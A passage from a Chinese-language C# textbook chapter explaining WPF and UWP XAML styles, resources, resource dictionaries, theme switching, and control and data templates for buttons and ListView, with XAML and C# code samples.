Offset="0.5" Color="LightYellow" /> <GradientStop Offset="0.9" Color="Orange" /> </LinearGradientBrush> </Setter.Value> </Setter> </Style> 最后一个按钮应用了AnotherButtonStyle: <Button Width="200" Content="Style inheritance" Style="{StaticResource AnotherButtonStyle}" Margin="3" /> 图30-13 图30-13显示了所有这些按钮的效果。 30.6.2 资源 从样式示例可以看出,样式通常存储在资源中。可以 在资源中定义任意可冻结(WPF)或可共享(UWP)的元 素。例如,前面为按钮的背景样式创建了画笔,它本身就 可以定义为一个资源,这样就可以在需要画笔的地方使用它。 下面的示例在StackPanel资源中定义一个LinearGradientBrush,它的键名是 MyGradientBrush。button1使用StaticResource标记扩展将Background属性赋予 MyGradientBrush资源(代码文件StylesAndResources[WPF | UWP]/ ResourceDemo[Page | Window].xaml)。 <StackPanel x:Name="myContainer"> <StackPanel.Resources> <LinearGradientBrush x:Key="MyGradientBrush" StartPoint="0,0" EndPoint="0.3,1"> <GradientStop Offset="0.0" Color="LightCyan" /> <GradientStop Offset="0.14" Color="Cyan" /> <GradientStop Offset="0.7" Color="DarkCyan" /> </LinearGradientBrush> </StackPanel.Resources> <Button Width="200" Height="50" Foreground="White" Margin="5" Background="{StaticResource MyGradientBrush}" Content="Click Me! " /> </StackPanel> 这里,资源用StackPanel定义。在上面的例子中,资源用Page或Window元素定义。基 类FrameworkElement定义ResourceDictionary类型的Resources属性。这就是资源可以用派 生自FrameworkElement的所有类(任意XAML元素)来定义的原因。 资源按层次结构来搜索。如果用根元素定义资源,它就会应用于所有子元素。如果根 元素包含一个Grid,该Grid包含一个StackPanel,且资源是用StackPanel定义的,该资源就 会应用于StackPanel中的所有控件。如果StackPanel包含一个按钮,但只用该按钮定义资 源,这个样式就只对该按钮有效。  注意: 对于层次结构,需要注意是否为样式使用了没有Key的TargetType。 如果用Canvas元素定义一个资源,并把样式的TargetType设置为应用于TextBox元素, 该样式就会应用于Canvas中的所有TextBox元素。如果Canvas中有一个ListBox,该样式 甚至会应用于ListBox包含的TextBox元素。 如果需要将同一个样式应用于多个窗口,就可以用应用程序定义样式。在用Visual Studio创建的WPF和UWP应用程序中,创建App.xaml文件,以定义应用程序的全局资源。 应用程序样式对其中的每个页面或窗口都有效。每个元素都可以访问用应用程序定义的资 源。如果通过父窗口找不到资源,就可以通过Application继续搜索资源(代码文件 StylesAndResourcesUWP/App.xaml)。 <Application x:Class="StylesAndResourcesUWP.App" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" RequestedTheme="Light"> <Application.Resources> </Application.Resources> </Application> 30.6.3 从代码中访问资源 要从代码隐藏中访问资源,基类FrameworkElement的Resources属性返回 ResourceDictionary。该字典使用索引器和资源名称提供对资源的访问。可以使用 ContainsKey方法检查资源是否可用。 下面看一个例子。按钮控件button1没有指定背景,但将Click事件动态赋予 OnApplyResource()方法,以动态修改它(代码文件StylesAndResources[WPF | UWP]/ResourceDemo[Page | Window].xaml)。 <Button Name="button1" Width="220" Height="50" Margin="5" Click="OnApplyResources" Content="Apply Resource Programmatically" /> 现在在WPF和UWP应用程序中,可以用一个稍微不同的实现方式在层次结构中查找 资源。在WPF中,ResourceDictionary提供了方法FindResource和TryFindResource,从层次 结构中获得资源。资源没有找到时,FindResource会抛出一个异常;而TryFindResource只 是返回null(代码文件StylesAndResources[WPF | UWP]/ ResourceDemo.xaml.cs): private void OnApplyResources(object sender, RoutedEventArgs e) { Control ctrl = sender as Control; ctrl.Background = ctrl.TryFindResource("MyGradientBrush") as Brush; } 对于UWP应用程序,TryFindResource不可用于ResourceDictionary。然而,使用扩展 方法很容易实现这个方法,因此OnApplyResources的实现代码可以保持不变。 方法TryFindResource使用ContainsKey检查请求的资源是否可用,它会递归地调用方 法,以免资源还没有找到(代码文件StylesAndResourcesUWP / FrameworkElementExtensions.cs): public static class FrameworkElementExtensions { public static object TryFindResource(this FrameworkElement e, string key) { if (e == null) throw new ArgumentNullException(nameof(e)); if (key == null) throw new ArgumentNullException(nameof(key)); if (e.Resources.ContainsKey(key)) { return e.Resources[key]; } else { var parent = e.Parent as FrameworkElement; if (parent == null) return null; return TryFindResource(parent, key); } } } 30.6.4 动态资源(WPF) 通过StaticResource标记扩展,在加载期间搜索资源。如果在运行程序的过程中改变了 资源,就应给WPF使用DynamicResource标记扩展。UWP不支持DynamicResource标记扩 展。 下面的例子使用与前面定义的相同资源。前面的示例使用StaticResource,而这个按钮 通过DynamicResource标记扩展使用DynamicResource。这个按钮的事件处理程序以编程方 式改变资源。把处理程序方法OnChangeDynamicResource赋予Click事件处理程序(代码文 件StylesAndResourcesWPF/ResourceDemo.xaml)。 <Button Name="button2" Width="200" Height="50" Foreground="White" Margin="5" Background="{DynamicResource MyGradientBrush}" Content="Change Resource" Click="OnChangeDynamicResource" /> OnChangeDynamicResource方法的实现代码清除了StackPanel的资源,并用相同的名 称MyGradientBrush添加了一个新资源。这个新资源非常类似于在XAML代码中定义的资 源,它只定义了不同的颜色(代码文件 StylesAndResourcesWPF/ResourceDemo.xaml.cs)。 private void OnChangeDynamicResource(object sender, RoutedEventArgs e) { myContainer.Resources.Clear(); var brush = new LinearGradientBrush { StartPoint = new Point(0, 0), EndPoint = new Point(0, 1) }; brush.GradientStops = new GradientStopCollection() { new GradientStop(Colors.White, 0.0), new GradientStop(Colors.Yellow, 0.14), new GradientStop(Colors.YellowGreen, 0.7) }; myContainer.Resources.Add("MyGradientBrush", brush); } 运行应用程序时,单击Change Resource按钮,可以动态地更改资源。使用通过动态 资源定义的按钮会获得动态创建的资源,而用静态资源定义的按钮看起来与以前一样。 30.6.5 资源字典 如果相同的资源可用于不同的页面甚至不同的应用程序,把资源放在一个资源字典中 就比较有效。使用资源字典,可以在多个应用程序之间共享文件,也可以把资源字典放在 一个程序集中,供应用程序共享。 要共享程序集中的资源字典,应创建一个库。可以把资源字典文件(这里是 Dictionary1.xaml)添加到程序集中。在WPF中,这个文件的构建动作必须设置为 Resource,从而把它作为资源添加到程序集中。 Dictionary1.xaml定义了两个资源:一个是包含CyanGradientBrush键的 LinearGradientBrush;另一个是用于按钮的样式,它可以通过PinkButtonStyle键来引用 (代码文件ResourcesLib [WPF | UWP]/Dictionary1.xaml): <ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"> <LinearGradientBrush x:Key="CyanGradientBrush" StartPoint="0,0" EndPoint="0.3,1"> <LinearGradientBrush.GradientStops> <GradientStop Offset="0.0" Color="LightCyan" /> <GradientStop Offset="0.14" Color="Cyan" /> <GradientStop Offset="0.7" Color="DarkCyan" /> </LinearGradientBrush.GradientStops> </LinearGradientBrush> <Style x:Key="PinkButtonStyle" TargetType="Button"> <Setter Property="FontSize" Value="22" /> <Setter Property="Foreground" Value="White" /> <Setter Property="Background"> <Setter.Value> <LinearGradientBrush StartPoint="0,0" EndPoint="0,1"> <LinearGradientBrush.GradientStops> <GradientStop Offset="0.0" Color="Pink" /> <GradientStop Offset="0.3" Color="DeepPink" /> <GradientStop Offset="0.9" Color="DarkOrchid" /> </LinearGradientBrush.GradientStops> </LinearGradientBrush> </Setter.Value> </Setter> </Style> </ResourceDictionary> 对于目标项目,需要引用这个库,并把资源字典添加到这个字典中。通过 ResourceDictionary的MergedDictionaries属性,可以使用添加进来的多个资源字典文件。可 以把一个资源字典列表添加到合并的字典中。 引用库的方式在WPF和UWP应用程序中是不同的。在WPF中,使用包URI语法。包 URI语法可以指定为绝对的,其中URI以pack://开头,也可以指定为相对的,如本例所 示。使用相对语法,包含字典的引用程序集ResourceLibWPF跟在“/”的后面,其后是“; component”。Component表示,该字典包含为程序集中的一个资源。之后添加字典文件的 名称Dictionary1.xaml。如果把字典添加到子文件夹中,则必须声明子文件夹名(代码文 件StylesAndResourcesWPF/App.xaml)。 <Application x:Class="StylesAndResourcesWPF.App" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" StartupUri="MainWindow.xaml"> <Application.Resources> <ResourceDictionary> <ResourceDictionary.MergedDictionaries> <ResourceDictionary Source="/ResourcesLibWPF; component/Dictionary1.xaml" /> </ResourceDictionary.MergedDictionaries> </ResourceDictionary> </Application.Resources> </Application> 对于UWP应用程序,引用略有区别。在这里,必须给要引用的资源字典加上ms- appx:/ / /模式的前缀(代码文件StylesAndResourcesUWP / App. xaml): <Application x:Class="StylesAndResourcesUWP.App" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:local="using:StylesAndResourcesUWP" RequestedTheme="Light"> <Application.Resources> <ResourceDictionary> <ResourceDictionary.MergedDictionaries> <ResourceDictionary Source="ms-appx:///ResourcesLibUWP/Dictionary1.xaml" /> </ResourceDictionary.MergedDictionaries> </ResourceDictionary> </Application.Resources> </Application> 现在可以像本地资源那样使用引用程序集中的资源了(代码文件 StylesAndResources[WPF | UWP]/Resource Demo[Window | Page].xaml): <Button Width="300" Height="50" Style="{StaticResource PinkButtonStyle}" Content="Referenced Resource" /> 30.6.6 主题资源(UWP) 尽管UWP应用程序不支持DynamicResource标记扩展,但这些应用程序也能动态改变 样式。这个功能是基于主题的。通过主题,可以允许用户在光明与黑暗主题之间切换(类 似于可以用Visual Studio改变的主题)。 1.定义主题资源 主题资源可以在ThemeDictionaries集合的资源字典中定义。在ThemeDictionaries集合 中定义的ResourceDictionary对象需要分配一个包含主题名称(Light或Dark)的键。示例 代码为浅色背景和暗色前景的Light主题定义了一个按钮,为浅色前景和暗色背景的dark主 题定义了一个按钮。用于样式的键在这两个字典中是一样的:SampleButtonStyle(代码文 件StylesAndResourcesUWP / Styles /SampleThemes.xaml): <ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:local="using:StylesAndResourcesUWP"> <ResourceDictionary.ThemeDictionaries> <ResourceDictionary x:Key="Light"> <Style TargetType="Button" x:Key="SampleButtonStyle"> <Setter Property="Background" Value="LightGray" /> <Setter Property="Foreground" Value="Black" /> </Style> </ResourceDictionary> <ResourceDictionary x:Key="Dark"> <Style TargetType="Button" x:Key="SampleButtonStyle"> <Setter Property="Background" Value="Black" /> <Setter Property="Foreground" Value="White" /> </Style> </ResourceDictionary> </ResourceDictionary.ThemeDictionaries> </ResourceDictionary> 使用ThemeResource标记扩展可以指定样式。除了使用另一个标记扩展之外,其他的 都与StaticResource标记扩展相同(代码文件StylesAndResourcesUWP / ThemeDemoPage.xaml): <Button Style="{ThemeResource SampleButtonStyle}" Click="OnChangeTheme" Content="Change Theme" /> 根据选择的主题,使用相应的样式。 2.选择主题 有不同的方式来选择主题。首先,应用程序本身有一个默认的主题。Application类的 RequestedTheme属性定义了应用程序的默认主题。这在App.xaml内定义,在其中还引用了 主题字典文件(代码文件StylesAndResourcesUWP / App.xaml): <Application x:Class="StylesAndResourcesUWP.App" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:local="using:StylesAndResourcesUWP" RequestedTheme="Light"> <Application.Resources> <ResourceDictionary> <ResourceDictionary.MergedDictionaries> <ResourceDictionary Source="ms-appx:///StylesLib/Dictionary1.xaml" /> <ResourceDictionary Source="Styles/SampleThemes.xaml" /> </ResourceDictionary.MergedDictionaries> </ResourceDictionary> </Application.Resources> </Application> RequestedTheme属性在XAML元素的层次结构中定义。每个元素可以覆盖用于它本身 及其子元素的主题。下面的Grid元素改变了Dark主题的默认主题。现在它用于Grid元素及 其所有子元素(代码文件StylesAndResourcesUWP / ThemeDemoPage.xaml): <Grid x:Name="grid1" Background="{ThemeResource ApplicationPageBackgroundThemeBrush}" RequestedTheme="Dark"> <Button Style="{ThemeResource SampleButtonStyle}" Click="OnChangeTheme" Content="Change Theme" /> </Grid> 也可以在代码中通过设置RequestedTheme属性来动态更改主题(代码文件 StylesAndResourcesUWP/ThemeDemoPage.xaml.cs): private void OnChangeTheme(object sender, RoutedEventArgs e) { grid1.RequestedTheme = grid1.RequestedTheme == ElementTheme.Dark ? ElementTheme.Light: ElementTheme.Dark; }  注意: 只有资源看起来与主题不同,使用ThemeResource标记扩展才有用。 如果资源应该与主题相同,就应继续使用StaticResource标记扩展。 30.7 模板 XAML Button控件可以包含任何内容,如简单的文本,还可以给按钮添加Canvas元 素,Canvas元素可以包含形状,也可以给按钮添加Grid或视频。然而,按钮还可以完成更 多的操作。使用基于模板的XAML控件,控件的外观及其功能在WPF中是完全分离的。虽 然按钮有默认的外观,但可以用模板完全定制其外观。 如表30-2所示,WPF和UWP应用程序提供了几个模板类型,它们派生自基类 Framework-Template。 表30-2 模板类型 说明 ControlTemplate 使用ControlTemplate可以指定控件的可视化结构, 重新设计其外观 ItemsPanelTemplate 对于ItemsControl,可以赋予一个 ItemsPanelTemplate,以指定其项的布局。每个 ItemsControl都有一个默认的ItemsPanelTemplate。 MenuItem使用WrapPanel, StatusBar使用DockPanel, ListBox使用VirtualizingStackPanel DataTemplate DataTemplates非常适用于对象的图形表示。给列表 框指定样式时,默认情况下,列表框中的项根据 ToString()方法的输出来显示。应用 DataTemplate,可以重写其操作,定义项的自定义 表示 HierarchicalDataTemplate HierarchicalDataTemplate用于排列对象的树型结 构。这个控件支持HeaderedItemsControls,如 TreeViewItem和MenuItem。这个模板类只用于WPF  注意: HierarchicalDataTemplate和TreeControl的讨论参见第34章。 30.7.1 控件模板 本章前面介绍了如何给控件的属性定义样式。如果设置控件的简单属性得不到需要的 外观,就可以修改Template属性。使用Template属性可以定制控件的整体外观。下面的例 子说明了定制按钮的过程,后面逐步地说明了列表框的定制,以便显示出改变的中间结 果。 Button类型的定制在一个单独的资源字典文件Styles.xaml中进行。这里定义了键名为 RoundedGelButton的样式。RoundedGelButton样式设置Background、Height、Foreground、 Margin和Template属性。Template属性是这个样式中最有趣的部分,它指定一个仅包含一 行一列的网格。 在这个单元格中,有一个名为GelBackground的椭圆。这个椭圆给笔触设置了一个线 性渐变画笔。包围矩形的笔触非常细,因为把StrokeThickness设置为0.5。 因为第二个椭圆GelShine比较小,其尺寸由Margin属性定义,所以在第一个椭圆内部 是可见的。因为其笔触是透明的,所以该椭圆没有边框。这个椭圆使用一个线性渐变填充 画笔,从部分透明的浅色变为完全透明,这使椭圆具有“亦真亦幻”的效果(代码文件 Templates[WPF | UWP]/Styles/ControlTemplates.xaml)。 <ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"> <Style x:Key="RoundedGelButton" TargetType="Button" > <Setter Property="Width" Value="100" /> <Setter Property="Height" Value="100" /> <Setter Property="Foreground" Value="White" /> <Setter Property="Template"> <Setter.Value> <ControlTemplate TargetType="Button"> <Grid> <Ellipse Name="GelBackground" StrokeThickness="0.5" Fill="Black"> <Ellipse.Stroke> <LinearGradientBrush StartPoint="0,0" EndPoint="0,1"> <GradientStop Offset="0" Color="#ff7e7e7e" /> <GradientStop Offset="1" Color="Black" /> </LinearGradientBrush> </Ellipse.Stroke> </Ellipse> <Ellipse Margin="15,5,15,50"> <Ellipse.Fill> <LinearGradientBrush StartPoint="0,0" EndPoint="0,1"> <GradientStop Offset="0" Color="#aaffffff" /> <GradientStop Offset="1" Color="Transparent" /> </LinearGradientBrush> </Ellipse.Fill> </Ellipse> </Grid> </ControlTemplate> </Setter.Value> </Setter> </Style> </ResourceDictionary> 从app.xaml文件中,引用资源字典,如下所示(代码文件 Template[WPF|UWP]/App.xaml): 图30-14 图30-15 <Application x:Class="TemplateDemo.App" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" StartupUri="MainWindow.xaml"> <Application.Resources> <ResourceDictionary Source="Styles/ControlTemplates.xaml" /> </Application.Resources </Application> 现在可以把Button控件关联到样式上。按钮的新外观 如图30-14所示,并使用代码文件Templates [WPF | UWP]/StyledButtons.xaml。 <Button Style="{StaticResource RoundedGelButton}" Content="Click Me! " /> 按钮现在的外观完全不同,但按钮的内容未在图30- 14中显示出来。必须扩展前面创建的模板,以把按钮的内 容显示在新外观上。为此需要添加一个ContentPresenter。 ContentPresenter是控件内容的占位符,并定义了放置这些 内容的位置。这里把内容放在网格的第一行上,即Ellipse 元素所在的位置。ContentPresenter的Content属性定义了内 容的外观。把内容设置为TemplateBinding标记表达式。TemplateBinding绑定父模板,这里 是Button元素。{TemplateBinding Content}指定,Button控件的Content属性值应作为内容放 在占位符内。图30-15显示了带内容的按钮(代码文件Templates[WPF | UWP]/Styles/ControlTemplates.xaml): <Setter Property="Template"> <Setter.Value> <ControlTemplate TargetType="Button"> <Grid> <Ellipse Name="GelBackground" StrokeThickness="0.5" Fill="Black"> <Ellipse.Stroke> <LinearGradientBrush StartPoint="0,0" EndPoint="0,1"> <GradientStop Offset="0" Color="#ff7e7e7e" /> <GradientStop Offset="1" Color="Black" /> </LinearGradientBrush> </Ellipse.Stroke> </Ellipse> <Ellipse Margin="15,5,15,50"> <Ellipse.Fill> <LinearGradientBrush StartPoint="0,0" EndPoint="0,1"> <GradientStop Offset="0" Color="#aaffffff" /> <GradientStop Offset="1" Color="Transparent" /> </LinearGradientBrush> </Ellipse.Fill> </Ellipse> <ContentPresenter Name="GelButtonContent" VerticalAlignment="Center" HorizontalAlignment="Center" Content="{TemplateBinding Content}" /> </Grid> </ControlTemplate> </Setter.Value>  注意: TemplateBinding允许与模板交流控件定义的值。这不仅可以用于内 容,还可以用于颜色和笔触样式等。 现在这样一个样式化的按钮在屏幕上看起来很漂亮。但仍有一个问题:如果用鼠标单 击该按钮,或使鼠标滑过该按钮,则它不会有任何动作。这不是用户操作按钮时的一般情 况。解决方法如下:对于模板样式的按钮,必须给它指定可视化状态或触发器,使按钮在 响应鼠标移动和鼠标单击时有不同的外观。可视化状态也利用动画;因此本章后面讨论这 个变更。 然而,为了提前了解这一点,可以使用Visual Studio来创建一个按钮模板。不是完全 从头开始建立这样一个模板,而可以在XAML设计器或文档浏览器中选择一个按钮控件, 从上下文菜单中选择Edit Template。在这里,可以创建一个空的模板,或复制预定义的模 板。使用模板的一个副本来查看预定义的模板。创建一个样式资源的对话框参见图30- 16。在这里可以定义包含模板的资源是在文档、应用程序(用于多个页面和窗口)还是资 源字典中创建。对于之前样式化的按钮,资源字典ControlTemplates.xaml已经存在,示例 代码在该字典中创建资源。 图30-16 UWP和WPF应用程序的默认模板大不相同,因为这些技术使用不同的特性,其设计 也不同。以下代码片段显示了UWP应用程序中默认按钮模板的一些特殊之处。几个按钮 设置取自主题资源,如Background、Foreground和BorderBrush。他们在光明和黑暗主题中 是不同的。一些值,如Padding和HorizontalAlignment是固定的。创建一个自定义样式,就 可以改变这些(代码文件TemplatesUWP /Styles / ControlTemplates.xaml): <Style x:Key="ButtonStyle1" TargetType="Button"> <Setter Property="Background" Value="{ThemeResource SystemControlBackgroundBaseLowBrush}"/> <Setter Property="Foreground" Value="{ThemeResource SystemControlForegroundBaseHighBrush}"/> <Setter Property="BorderBrush" Value="{ThemeResource SystemControlForegroundTransparentBrush}"/> <Setter Property="BorderThickness" Value="{ThemeResource ButtonBorderThemeThickness}"/> <Setter Property="Padding" Value="8,4,8,4"/> <Setter Property="HorizontalAlignment" Value="Left"/> <Setter Property="VerticalAlignment" Value="Center"/> <Setter Property="FontFamily" Value="{ThemeResource ContentControlThemeFontFamily}"/> <Setter Property="FontWeight" Value="Normal"/> <Setter Property="FontSize" Value="{ThemeResource ControlContentThemeFontSize}"/> <Setter Property="UseSystemFocusVisuals" Value="True"/> 控件模板由一个Grid网格和一个ContentPresenter组成,画笔和边界值使用 TemplateBinding限定。这样就可以用按钮控件直接定义这些值,来影响外观。 <Setter Property="Template"> <Setter.Value> <ControlTemplate TargetType="Button"> <Grid x:Name="RootGrid" Background="{TemplateBinding Background}"> <! ¡ªVisual State Manager settings removed¡ª> <ContentPresenter x:Name="ContentPresenter" AutomationProperties.AccessibilityView="Raw" BorderBrush="{TemplateBinding BorderBrush}" BorderThickness="{TemplateBinding BorderThickness}" ContentTemplate="{TemplateBinding ContentTemplate}" ContentTransitions="{TemplateBinding ContentTransitions}" Content="{TemplateBinding Content}" HorizontalContentAlignment= "{TemplateBinding HorizontalContentAlignment}" Padding="{TemplateBinding Padding}" VerticalContentAlignment= "{TemplateBinding VerticalContentAlignment}"/> </Grid> </ControlTemplate> </Setter.Value> </Setter> </Style> 对于动态更改按钮,如果鼠标划过按钮,或按钮被按下,UWP应用程序的按钮模板 就会利用VisualStateManager。在这里,按钮的状态改为PointerOver、Pressed和Disabled 时,就定义关键帧动画。 <VisualStateManager.VisualStateGroups> <VisualStateGroup x:Name="CommonStates"> <VisualState x:Name="Normal "/> <VisualState x:Name="PointerOver "> <Storyboard> <ObjectAnimationUsingKeyFrames Storyboard.TargetProperty="BorderBrush" Storyboard.TargetName="ContentPresenter"> <DiscreteObjectKeyFrame KeyTime="0" Value="{ThemeResource SystemControlHighlightBaseMediumLowBrush}"/> </ObjectAnimationUsingKeyFrames> <ObjectAnimationUsingKeyFrames Storyboard.TargetProperty="Foreground" Storyboard.TargetName="ContentPresenter"> <DiscreteObjectKeyFrame KeyTime="0" Value="{ThemeResource SystemControlHighlightBaseHighBrush}"/> </ObjectAnimationUsingKeyFrames> </Storyboard> </VisualState> <VisualState x:Name="Pressed "> <Storyboard> <! -animations removed-> </Storyboard> </VisualState> <VisualState x:Name="Disabled "> <Storyboard> <! -animations removed-> </Storyboard> </VisualState> </VisualStateGroup> </VisualStateManager.VisualStateGroups> 在WPF中,默认按钮模板使用StaticResource和DynamicResource标记扩展,为画笔获 取资源,因为主题资源不可用。x.Static标记扩展访问类的静态成员,这里是 SystemColors.ControlTextBrush-Key。SystemColors类访问用户可以配置的资源,因此用户 可以部分地样式化外观。为了获得鼠标移动到按钮上的动态外观,或单击按钮时的动态外 观,可以使用属性触发器来改变外观(代码文件 TemplatesWPF/Styles/ControlTemplates.xaml): <Style x:Key="ButtonStyle1" TargetType="{x:Type Button}"> <Setter Property="FocusVisualStyle" Value="{StaticResource FocusVisual}"/> <Setter Property="Background" Value="{StaticResource Button.Static.Background}"/> <Setter Property="BorderBrush" Value="{StaticResource Button.Static.Border}"/> <Setter Property="Foreground" Value="{DynamicResource {x:Static SystemColors.ControlTextBrushKey}}"/> <Setter Property="BorderThickness" Value="1"/> <Setter Property="HorizontalContentAlignment" Value="Center"/> <Setter Property="VerticalContentAlignment" Value="Center"/> <Setter Property="Padding" Value="1"/> <Setter Property="Template"> <Setter.Value> <ControlTemplate TargetType="{x:Type Button}"> <Border x:Name="border" BorderBrush="{TemplateBinding BorderBrush}" BorderThickness="{TemplateBinding BorderThickness}" Background="{TemplateBinding Background}" SnapsToDevicePixels="true"> <ContentPresenter x:Name="contentPresenter" Focusable="False" HorizontalAlignment="{TemplateBinding HorizontalContentAlignment}" Margin="{TemplateBinding Padding}" RecognizesAccessKey="True" SnapsToDevicePixels="{TemplateBinding SnapsToDevicePixels}" VerticalAlignment="{TemplateBinding VerticalContentAlignment}"/> </Border> <ControlTemplate.Triggers> <Trigger Property="IsDefaulted" Value="true"> <Setter Property="BorderBrush" TargetName="border" Value="{DynamicResource {x:Static SystemColors.HighlightBrushKey}}"/> </Trigger> <Trigger Property="IsMouseOver" Value="true"> <Setter Property="Background" TargetName="border" Value="{StaticResource Button.MouseOver.Background}"/> <Setter Property="BorderBrush" TargetName="border" Value="{StaticResource Button.MouseOver.Border}"/> </Trigger> <! -more trigger settings for IsPressed and IsEnabled-> </ControlTemplate.Triggers> </ControlTemplate> </Setter.Value> </Setter> </Style> 30.7.2 数据模板 ContentControl元素的内容可以是任意内容——不仅可以是XAML元素,还可以 是.NET对象。例如,可以把Country类型的对象赋予Button类的内容。下面的示例创建 Country类,以表示国家名称和国旗(用一幅图像的路径表示)。这个类定义Name和 ImagePath属性,并重写ToString()方法,用于默认的字符串表示(代码文件 Models[WPF | UWP]/Country.cs): public class Country { public string Name { get; set; } public string ImagePath { get; set; } public override string ToString() => Name; } 这些内容在按钮或任何其他ContentControl中会如何显示?默认情况下会调用 ToString()方法,显示对象的字符串表示。 要获得自定义外观,还可以为Country类型创建一个DataTemplate。示例代码定义了 CountryDataTemplate键,这个键可以用于引用模板。在DataTemplate内部,主元素是一个 文本框,其Text属性绑定到Country的Name属性上,Source属性的Image绑定到Country的 ImagePath属性上。Grid和Border元素定义了布局和可见外观(代码文件Templates[WPF | UWP]/Styles/DataTemplates.xaml): <DataTemplate x:Key="CountryDataTemplate"> <Border Margin="4" BorderThickness="2" CornerRadius="6"> <Border.BorderBrush> <LinearGradientBrush StartPoint="0,0" EndPoint="0,1"> <GradientStop Offset="0" Color="#aaa" /> <GradientStop Offset="1" Color="#222" /> </LinearGradientBrush> </Border.BorderBrush> <Border.Background> <LinearGradientBrush StartPoint="0,0" EndPoint="0,1"> <GradientStop Offset="0" Color="#444" /> <GradientStop Offset="1" Color="#fff" /> </LinearGradientBrush> </Border.Background> <Grid Margin="4"> <Grid.RowDefinitions> <RowDefinition Height="auto" /> <RowDefinition Height="auto" /> </Grid.RowDefinitions> <Image Width="120" Source="{Binding ImagePath}" /> <TextBlock Grid.Row="1" Opacity="0.6" FontSize="16" VerticalAlignment="Bottom" HorizontalAlignment="Right" Margin="15" 图30-17 FontWeight="Bold" Text="{Binding Name}" /> </Grid> </Border> </DataTemplate> 在Window或Page的XAML代码中,定义一个简单的Button元素button1: <Button x:Name="countryButton" Grid.Row="2" Margin="20" ContentTemplate="{StaticResource CountryDataTemplate}" /> 在代码隐藏文件中,实例化一个新的Country对象,并把它赋给button1的Content属性 (代码文件Templates[WPF | UWP]/StyledButtons.xaml.cs): this.countryButton.Content = new Country { Name = "Austria", ImagePath = "images/Austria.bmp" }; 运行这个应用程序,可以看出,DataTemplate应用于 Button,因为Country数据类型有默认的模板,如图30-17 所示。 当然,也可以创建一个控件模板,并从中使用数据模 板。 30.7.3 样式化ListView 更改按钮或标签的样式是一个简单的任务,例如改变包含一个元素列表的父元素的样 式。如何更改ListView?这个列表控件也有操作方式和外观。它可以显示一个元素列表, 用户可以从列表中选择一个或多个元素。至于操作方式,ListView类定义了方法、属性和 事件。ListView的外观与其操作是分开的。ListView元素有一个默认的外观,但可以通过 创建模板,改变这个外观。 为了给ListView填充一些项,类CountryRepository返回几个要显示出来的国家(代码 文件Models[WPF | UWP]/CountryRepository.cs): public sealed class CountryRepository { private static IEnumerable<Country> s_countries; public IEnumerable<Country> GetCountries() => s_countries ? ? (s_countries = new List<Country> { new Country { Name="Austria", ImagePath = "Images/Austria.bmp" }, new Country { Name="Germany", ImagePath = "Images/Germany.bmp" }, new Country { Name="Norway", ImagePath = "Images/Norway.bmp" }, new Country { Name="USA", ImagePath = "Images/USA.bmp" } }); } 在代码隐藏文件中,在StyledList类的构造函数中,使用CountryRepository的 GetCountries方法创建并填充只读属性Countries(代码文件Templates[WPF | UWP]/StyledList.xaml.cs): public ObservableCollection<Country> Countries { get; } = new ObservableCollection<Country>(); public StyledListBox() { this.InitializeComponent(); this.DataContext = this; var countries = new CountryRepository().GetCountries(); foreach (var country in countries) { Countries.Add(country); } } DataContext是一个数据绑定功能,参见下一章。 在XAML代码中,定义了countryList1列表视图。countryList1只使用元素的默认外 观。把ItemsSource属性设置为Binding标记扩展,它由数据绑定使用。从代码隐藏文件 中,可以看到数据绑定用于一个Country对象数组。图30-18显示了ListView的默认外观。 在默认情况下,只在一个简单的列表中显示ToString()方法返回的国家的名称(代码文 件Templates[WPF | UWP]/ StyledList.xaml)。 <Grid> <ListView ItemsSource="{Binding Countries}" Margin="10" x:Name="countryList1" /> </Grid> 图30-18 30.7.4 ListView项的数据模板 接下来,使用之前为ListView控件创建的DataTemplate。DataTemplate可以直接分配 给ItemTemplate属性(代码文件Templates[WPF | UWP]/StyledList.xaml): <ListView ItemsSource="{Binding Countries}" Margin="10" ItemTemplate="{StaticResource CountryDataTemplate}" /> 图30-19 有了这些XAML,项就如图30-19所示。 当然也可以定义一个引用数据模板的样式(代码文件 Templates[WPF | UWP]/Styles/ListTemplates. xaml): <Style x:Key="ListViewStyle1" TargetType="ListVi ew"> <Setter Property="ItemTemplate" Value="{StaticResource CountryDataTemplate}" /> </Style> 在ListView控件中使用这个样式(代码文件 Templates[WPF |UWP]/StyledList.xaml): <ListView ItemsSource="{Binding Countries}" Marg in="10" Style="{StaticResource ListViewStyle1}" /> 30.7.5 项容器的样式 数据模板定义了每一项的外观,每项还有一个容器。ItemContainerStyle可以定义每项 的容器的外观,例如,选择、按下每个项时,应给画笔使用什么前景和背景,等等。对于 容器边界的简单视图,设置Margin和Background属性(代码文件TemplatesUWP /Styles/ListTemplates.xaml): <Style x:Key="ListViewItemStyle1" TargetType="ListViewItem"> <Setter Property="Background" Value="Orange"/> <Setter Property="Margin" Value="5" /> <Setter Property="Template"> <Setter.Value> <ControlTemplate TargetType="ListViewItem"> <ListViewItemPresenter ContentMargin="{TemplateBinding Padding}" FocusBorderBrush= "{ThemeResource SystemControlForegroundAltHighBrush}" HorizontalContentAlignment= "{TemplateBinding HorizontalContentAlignment}" PlaceholderBackground= "{ThemeResource ListViewItemPlaceholderBackgroundThemeBrush}" SelectedPressedBackground= "{ThemeResource SystemControlHighlightListAccentHighBrush}" SelectedForeground= "{ThemeResource SystemControlHighlightAltBaseHighBrush}" SelectedBackground= "{ThemeResource SystemControlHighlightListAccentLowBrush}" VerticalContentAlignment= "{TemplateBinding VerticalContentAlignment}"/> </ControlTemplate> 